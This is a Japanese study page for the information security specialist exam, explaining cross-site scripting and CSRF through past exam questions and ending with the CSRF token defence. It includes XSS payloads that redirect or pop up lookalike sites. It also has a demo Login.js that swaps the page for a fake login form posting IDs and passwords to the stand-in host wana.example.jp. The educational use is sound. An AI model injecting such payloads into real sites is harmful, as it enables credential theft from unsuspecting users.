情報処理安全確保支援士(情報セキュリティスペシャリスト)試験に合格するためのサイトです。
過去問を多数引用しながら、基礎知識をしっかり学んでもらうように作ってあります。
また、情報処理安全確保支援士(情報セキュリティスペシャリスト)を楽しく学べるように工夫したいと思います。
カテゴリ:

9.サーバセキュリティ > 9.3 クロスサイト攻撃

クロスサイトスクリプティング(XSS)に関して過去問では、「HTML出力文字列のエスケープ処理が不適切な場合、攻撃者の作成した不正なリンクによってWebサイトを閲覧した利用者のブラウザ上でスクリプトが実行される脆弱性(H23SC春PM2-2設問3(1))」と述べられています。クロスサイトという言葉の通り、複数のサイトにまたがった(クロスした)仕組みです。
別の過去問(H28秋SG午前問22)では、「クロスサイトスクリプディングの手口」として「Webアプリケーションに用意された入力フィールドに,悪意のあるJavaScriptコードを含んだデータを入力する」と述べられています。
クロスサイトスクリプティング(Cross Site Scripting)ですから、本来はCSSという略になります。でも、スタイルシート(CSS:Cascading Style Sheets)と混同するのでXSSになりました。
簡単な例を紹介します。
以下のスクリプトを掲示板に投稿すると、その掲示板ではJavaScriptにより、悪意のサイトが起動します。
  
  <script>window.open('http://ポップアップする悪意サイト');</script>
  
では、具体的に見て行きましょう。

通常の場合
掲示板の投稿欄に「こんばんは」と入力すると、その結果が「こんばんは」として表示されます。
xss_情報セキュリティスペシャリスト試験

XSSの脆弱性がある場合
掲示板の投稿欄にスクリプトを埋め込むと、悪意のあるサイトがポップアップします。ポップアップするサイトは、設定により、URLやステータスバーなどを消すことも可能です。利用者に、悪意のサイトとは気付かせないこともできるでしょう。うまくやれば、ここで、個人情報などを入力させることができます。
xss2_情報セキュリティスペシャリスト試験
または、以下を書き込むと、自動で悪意のサイトに遷移します。

  <script>document.location = "http://本物に似せた悪意サイト/"; </script>

ここで、本物そっくりのサイトにすれば、利用者は知らず知らずに個人情報などを入力してしまうかもしれませんね。
クロスサイトスクリプティングの巧妙な例は、以下に述べられています。ご参考まで。
http://itpro.nikkeibp.co.jp/article/NEWS/20060619/241207/

過去問(H28SC春午後1問1)で、クロスサイトスクリプティングの例を見てみましょう。
Nさん:XSS脆弱性の影響は,警告ダイアログの表示だけではありません。例えば,攻撃者は,URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana.example.jp/Login.js"></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成し,被害者に送付します。被害者がそのリンクをクリックした場合,図3の画面2-2ではなく,図5のように改変された画面2-2'が表示されます。このときのhttps://wana.example.jp/Login.jsのスクリプトは,図6のとおりです。
ds
Nさん:被害者が画面2-2'でメンバIDとパスワードを入力すると,それらは[ a ]というホスト名のWebサーバに送信されます。この場合,画面2-2'が表示された時点で,被害者が偽のログインフォームだと気付くかというと,それは難しいでしょう。
J主任:なるほど。こんな被害が発生するのですね。

設問1(1) [ a ]に入れる適切な字句を、FQDNで答えよ。

この問題には前段がありますので少し補足します。以下の画面2-1のように、キーワードを入れるとその結果が画面2-2のように表示されます。
以下は、「チョコ」というキーワードを入れた画面です。
ab
右の画面2-2のURLは、https://kensho.m-sha.co.jp/Gamen2_2?keyword=チョコ です。

問題文にあるように、ここで、https://kensho.m-sha.co.jp/Gamen2_2?keyword=<script src="https://wana.example.jp/Login.js"></script> というURLのリンクを作成します。

このURLを実行するとどうなるでしょうか。
画面2-2の[ チョコ ]の部分が[ script src="https://wana.example.jp/Login.js"></script> ] と表示されるのですが、このスクリプトを実行してしまい、図5のような画面が表示されるのです。

皆さんにも体験していただきたいので、以下を実行してみてください。

作成するファイルは2つです。
1.HTMLファイル(result.htm)
<html>
<head></head>
<body>
<h1>検索結果</h1>
<script src="./Login.js"></script>を検索した結果です。
</body>
</html>

2.JSファイル(Login.js)
document.body.innerHTML = "";  // HTML body 部を全部消去する
document.write('<H1>ログイン</H1>');
document.write('M社懸賞ページへようこそ。ログインしてください。<br>');
document.write('<form name="loginForm action="https://wana.example.jp/login" method="post">');
document.write('メンバID<input type="text" name="id"><br>');
document.write('パスワード<input type="password" name="password">');
document.write('<input type="submit" name="send" value="ログイン"></form>');
この2つのファイルを同じフォルダに置いて、result.htmファイルを開いてください。画面2-2のような検索結果が出るはずが、図5の画面に書き換わっていることが分かると思います。

以下に詳しい解説があるので見ていただきたい。
http://www.ipa.go.jp/security/vuln/vuln_contents/csrf.html

過去問では、クロスサイトリクエストフォージェリ」について、以下のように解説されている。
利用者のブラウザによって、利用者の意図しないリクエストがWebサーバに送信され、ログイン中の利用者にだけ許可されたWebサイトの機能が勝手に実行される脆弱性。(H23SC春PM2-2設問3(1))
ポイントは、「ログインしている」ということです。ログインしなければできない権限での不正ですから、たとえば、ログイン状態でのみ行える購買や決済行為をしてしまうとか、本人の名で不正な書き込みをしてしまうなどが引き起こされます。
 
[  ]に入る字句を述べよ。

「今回のように、ログインした会員だけが、予期しない処理を実行させられてしまうセキュリティ攻撃は、[  ]と呼ばれている。
 この攻撃が成功する主たる要因は、会員の正しい要求と悪意のあるコードの要求を区別できないことである」(H23秋AP午後問9参照)
 SNSサイトなどにCookieなどのセッション情報を保持したままスクリプトが自動実行されます。これにより、意図しない書き込みがされたり、商品購入サイトで勝手な購入がされることがあります。対策に関しては、H23秋AP問9設問4に書かれています。
 正解は、「クロスサイトリクエストフォージェリ(Cross Site Request Forgeris)」です。フォージェリ(forgery)とは「偽造」という意味です。「サイトをまたがって(Cross Site)のリクエストの偽造」と考えればよいでしょう。
情報セキュリティスペシャリスト試験を目指す女性SE 

どちらもサイトをまたがって(クロスサイト)の攻撃ですよね?
違いがよくわかりません。
ポイントは、SNSなどにログインしているのかどうかです。ログインしなければできない処理がいくつかあります。たとえば、会員情報を書き換えたり、その会員としてメッセージを投稿することなどです。

過去問(H23秋AP問9)には、被害の具体例を含めた記述がありますので、クロスサイトリクエストフォージェリの動作を理解する意味で、参考にしてください。
〔想定される原因〕
(1)会員掲示板ページを出力する処理に問題があり,この問題を悪用した<script>タグを用いた悪意のあるコードが,会員掲示板ページに埋め込まれた形跡があった。
(2)ログインした会員が,この悪意のあるコードが埋め込まれた会員掲示板ページを参照すると,そのコードが自動的に実行され,会員の登録情報を書き換える処理や特定の商品の注文処理が行われるようになっていた。

また、どんな被害や問題が発生するかは、以下の記述が参考になります。
〔原因から想定される脅威〕
(1)登録情報や会員掲示板情報に対して,ログインした会員が予期しない処理を勝手に実行させられることによって起こる情報の改ざん
(2)ログインした会員が予期しない注文処理を勝手に実行させられることによって起こるサービスの悪用


IPAの資料に、CSRF対策が記載されています。
リクエスト強要(CSRF)への対策は、ユーザ本人以外の者が捏造(ねつぞう)したコンテンツに基づいて発せられたHTTPリクエストを Webアプリケーションが受け付けないようにすることである。
そのためには、代金決済やコミュニティ脱退等の重要な処理の場面において、秘密の「照合情報」をWebアプリケーションとブラウザの間でやりとりし、第三者が用意した偽のコンテンツから発せられたリクエストを区別できるようにする。
具体的には、フォームを表示するプログラムによって他者が推定困難なランダム値を hiddenフィールドとして埋め込み送信し、フォームデータを処理するプログラムによってそのランダム値がフォームデータ内に含まれていることを確認する。
そのランダム値がフォ-ムデータに含まれていない場合、処理を見合わせるようにする。
https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/301.htmlより)

では、この知識を踏まえ、過去問(H28春SC午後Ⅰ問1)を解いてみましょう。
(2)フレームワークにCSRF対策機能がない場合は,次のルールに従った実装をして, CSRF対策とする。
・ POSTメソッドによるアクセスだけを用いる。
・前画面で,HTMLフォーム内に[ e ]を[ f ]フィールドの値として埋め込む。
・画面遷移時に受信したデータが,埋め込んだ[ e ]と一致するかを確認する。
さて、先ほどのIPAの解説資料の通りです。
攻撃者が推測可能な文字ではいけませんので、eにはランダム値を入れます。フィールドとしては、hiddenフィールドを使います。
※hiddenフィールドを使うには、GETではなくPOSTメソッドの必要があるのです。

【解答】
e ランダムな値
f hidden

このページのトップヘ